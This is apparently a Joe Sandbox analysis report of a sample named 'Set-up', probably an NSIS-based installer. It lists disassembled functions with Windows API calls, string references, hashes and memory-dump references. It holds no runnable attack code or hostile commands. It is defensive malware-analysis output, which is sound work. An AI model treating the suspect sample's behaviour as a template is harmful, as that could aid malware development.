Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction ID: b44593247c4c050b0e646bb53675e7b1a8962b0b92449cff70e8ee1879f4dc4f
Opcode Fuzzy Hash: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction Fuzzy Hash: 00F14871908249DBDF18CF28C8946E93BB1FF44345F14852AFD5A9B281D338E986DF86

Function 004062FC Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
GetProcAddress.KERNEL32(00000000), ref: 00406327

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction ID: 23f85fcbdf3119ad7ff9d94b99dcad510d7c567b01d836bd9cab37df641e0753
Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction Fuzzy Hash: 53D0123120010597C6001B65AE0895F776CEF95611707803EF542F3132EB34D415AAEC

Function 004062D5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
FindClose.KERNEL32(00000000), ref: 004062EC

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction ID: 3dd5e1b78c12f0f437ff376ab6b0e1f90f8becb0d3509d6a9a7f52ed6ae53baf
Opcode Fuzzy Hash: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction Fuzzy Hash: 7AD0C9315041205BC25127386E0889B6A589F163723258A7AB5A6E11E0CB388C2296A8

Function 00405479 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054B5
ShowWindow.USER32(?), ref: 004054D2
DestroyWindow.USER32 ref: 004054E6
SetWindowLongW.USER32(?,00000000,00000000), ref: 00405502
GetDlgItem.USER32(?,?), ref: 00405523
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405537
IsWindowEnabled.USER32(00000000), ref: 0040553E
GetDlgItem.USER32(?,00000001), ref: 004055ED
GetDlgItem.USER32(?,00000002), ref: 004055F7
SetClassLongW.USER32(?,000000F2,?), ref: 00405611
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405662
GetDlgItem.USER32(?,00000003), ref: 00405708
ShowWindow.USER32(00000000,?), ref: 0040572A
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040573C
EnableWindow.USER32(?,?), ref: 00405757
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040576D
EnableMenuItem.USER32(00000000), ref: 00405774
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040578C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040579F
lstrlenW.KERNEL32(00447240,?,00447240,0046ADC0), ref: 004057C8
SetWindowTextW.USER32(?,00447240), ref: 004057DC
ShowWindow.USER32(?,0000000A), ref: 00405910

Strings

@rD, xrefs: 004057B9

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: @rD
API String ID: 3282139019-3814967855
Opcode ID: 9cf786e25966daeabf755d20ab7dea7749e4d7b73da7bae0acc5cbd00c8c4fee
Instruction ID: 0f9b988f21b44e482dc064b3562f20aa73efc2902ac8c6ffeb9ddf27563d0ddb
Opcode Fuzzy Hash: 9cf786e25966daeabf755d20ab7dea7749e4d7b73da7bae0acc5cbd00c8c4fee
Instruction Fuzzy Hash: D8C1C371500A04EBDB216F61EE49E2B3BA9EB45345F00093EF551B12F0DB799891EF2E

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004CB0B0,?,000000E6,0040F0D0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
CreateDirectory: "%s" created, xrefs: 00401849
BringToFront, xrefs: 004016BD
Rename failed: %s, xrefs: 0040194B
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
CreateDirectory: "%s" (%d), xrefs: 004017BF
Sleep(%d), xrefs: 0040169D
detailprint: %s, xrefs: 00401679
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
Rename on reboot: %s, xrefs: 00401943
SetFileAttributes failed., xrefs: 004017A1
Rename: %s, xrefs: 004018F8
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
Call: %d, xrefs: 0040165A
SetFileAttributes: "%s":%08X, xrefs: 0040177B
Jump: %d, xrefs: 00401602
Aborting: "%s", xrefs: 0040161D

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction ID: b6b48939bc8a7188504c618ab7841b31fdd5898bf24c808f75461ec369738802
Opcode Fuzzy Hash: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction Fuzzy Hash: 0AB1F471A00204ABDB10BF61DD46DAE3B69EF44314B21817FF946B21E1DA7D4E40CAAE

Function 0040592C Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

lstrcatW.KERNEL32(004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0,-00000002,00000000,004D70C8,00403AC1,?), ref: 004059AE
lstrlenW.KERNEL32(00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0), ref: 00405A30
lstrcmpiW.KERNEL32(00462538,.exe,00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000), ref: 00405A43
GetFileAttributesW.KERNEL32(00462540), ref: 00405A4E

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C70A8), ref: 00405AB7
RegisterClassW.USER32(0046AD60), ref: 00405B0A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B22
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B5B

Part of subcall function 00403E95: SetWindowTextW.USER32(00000000,0046ADC0), ref: 00403F30

ShowWindow.USER32(00000005,00000000), ref: 00405B91
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BA2
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BAD
GetClassInfoW.USER32(00000000,RichEdit20A,0046AD60), ref: 00405BBD
GetClassInfoW.USER32(00000000,RichEdit,0046AD60), ref: 00405BCA
RegisterClassW.USER32(0046AD60), ref: 00405BD3
DialogBoxParamW.USER32(?,00000000,00405479,00000000), ref: 00405BF2

Strings

.exe, xrefs: 00405A3D
@%F, xrefs: 004059F6
_Nb, xrefs: 00405AD1
RichEd20, xrefs: 00405B9D
RichEdit20A, xrefs: 00405BB6, 00405BBB
B%F, xrefs: 00405A1F
.DEFAULT\Control Panel\International, xrefs: 00405999
RichEd32, xrefs: 00405BA8
@rD, xrefs: 00405965
Control Panel\Desktop\ResourceLocale, xrefs: 00405972
RichEdit, xrefs: 00405BC4

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@%F$@rD$B%F$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-1650083594
Opcode ID: 0b5ab136357e203ee2e090d14ec2b93cf78a9c4147554daf2c52a3a548f14690
Instruction ID: 271ce27004ef92612bfc9362a6cc74883a37054a4c8cca7c49d128c059fded9a
Opcode Fuzzy Hash: 0b5ab136357e203ee2e090d14ec2b93cf78a9c4147554daf2c52a3a548f14690
Instruction Fuzzy Hash: 5E71A370604B04AED721AB65EE85F2736ACEB44749F00053FF945B22E2D7B89D418F6E

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

lstrcatW.KERNEL32(00000000,00000000,ReachBeverageEuropeMarvel,004CB0B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,ReachBeverageEuropeMarvel,ReachBeverageEuropeMarvel,00000000,00000000,ReachBeverageEuropeMarvel,004CB0B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Strings

File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: wrote %d to "%s", xrefs: 00401BD0
File: error, user retry, xrefs: 00401B40
File: error, user abort, xrefs: 00401B53
File: error creating "%s", xrefs: 00401AF0
ReachBeverageEuropeMarvel, xrefs: 00401A53, 00401A5C, 00401A69, 00401A7B, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: error, user cancel, xrefs: 00401B93

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$ReachBeverageEuropeMarvel
API String ID: 4286501637-1284151311
Opcode ID: b155778cc10115f8d02ccc56e208397f172a866a515c636f57ea647fec07d827
Instruction ID: fe683e2e252f9e2189d7cf48164ff2fe6631720e8c40e43e96375682ff159270
Opcode Fuzzy Hash: b155778cc10115f8d02ccc56e208397f172a866a515c636f57ea647fec07d827
Instruction Fuzzy Hash: 9D510871901114BADF10BBB1CD46EAE3A68DF05369F21413FF416B10D2EB7C5A518AAE

Function 00403587 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403598
GetModuleFileNameW.KERNEL32(00000000,004DF0D8,00002004,?,?,?,00000000,00403A47,?), ref: 004035B4

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

GetFileSize.KERNEL32(00000000,00000000,004E30E0,00000000,004CF0B8,004CF0B8,004DF0D8,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00403600

Strings

Inst, xrefs: 0040366C
Error launching installer, xrefs: 004035D7
soft, xrefs: 00403675
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037C5
Null, xrefs: 0040367E

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction ID: 97831ba7e8e922ff386f77eab0e0d18630bd2de4bbb47cca7d976ce2c46b30f6
Opcode Fuzzy Hash: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction Fuzzy Hash: 3151D5B1900204AFDB219F65CD85B9E7EB8AB14756F10803FE605B72D1D77D9E808B9C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033E7
GetTickCount.KERNEL32 ref: 00403464
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403491
wsprintfW.USER32 ref: 004034A4
WriteFile.KERNELBASE(00000000,00000000,?,7FFFFFFF,00000000), ref: 004034D3
WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040356A

Strings

... %d%%, xrefs: 0040349E
P1B, xrefs: 004033A9
X1C, xrefs: 004033ED
X1C, xrefs: 0040343C

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: ... %d%%$P1B$X1C$X1C
API String ID: 651206458-1535804072
Opcode ID: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction ID: 0313947f0097750978ec936bbe46de4fad37e772bc1cb17ec77dd8e30cfa9ece
Opcode Fuzzy Hash: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction Fuzzy Hash: 88518D71900219ABDF10DF65AE44AAF7BACAB00316F14417BF900B7290DB78DF40CBA9

Function 00404F72 Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 4a81920338a541d7bcc419c3bcbb2810a04374694b2a6e658d803f75c228445d
Instruction ID: 1d640e6b4f0869ec625b39ce8112f9bd6789598538fb42bade37fe3884716a8e
Opcode Fuzzy Hash: 4a81920338a541d7bcc419c3bcbb2810a04374694b2a6e658d803f75c228445d
Instruction Fuzzy Hash: 3C21B0B1900518BACF119FA5DD84E9EBFB5EF84310F10813AFA04BA291D7798E509F98

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GlobalFree.KERNELBASE(00000000), ref: 00402387

Strings

Exch: stack < %d elements, xrefs: 00401ED8
Pop: stack empty, xrefs: 00401F2C
